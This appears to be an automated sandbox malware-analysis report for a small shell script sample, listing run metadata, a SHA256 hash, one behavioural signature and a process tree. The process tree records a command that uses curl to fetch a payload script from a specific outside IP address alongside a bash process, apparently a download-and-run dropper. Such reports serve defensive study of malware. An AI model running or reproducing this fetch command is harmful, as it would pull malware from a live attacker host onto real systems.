Analysis

  • max time kernel
    1s
  • max time network
    3s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    16/09/2026, 15:34

General

  • Target
    cirqueira.sh_x86_64.sh
  • Size 205B
  • Sample260916-szychssdkh
  • SHA256 482d8845b618545924463e79d0d2d193a6cccc4455fb48551235c4a455c7c9f4
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/cirqueira.sh_x86_64.sh
    /tmp/cirqueira.sh_x86_64.sh
    1⤵
      PID:710
      • /bin/bash
        bash
        2⤵
          PID:714
        • /usr/bin/curl
          curl -s http://94.154.43.227:8080/bins/cirqueira.sh
          2⤵
          • Reads runtime system information
          PID:713

      Network

            MITRE ATT&CK Matrix

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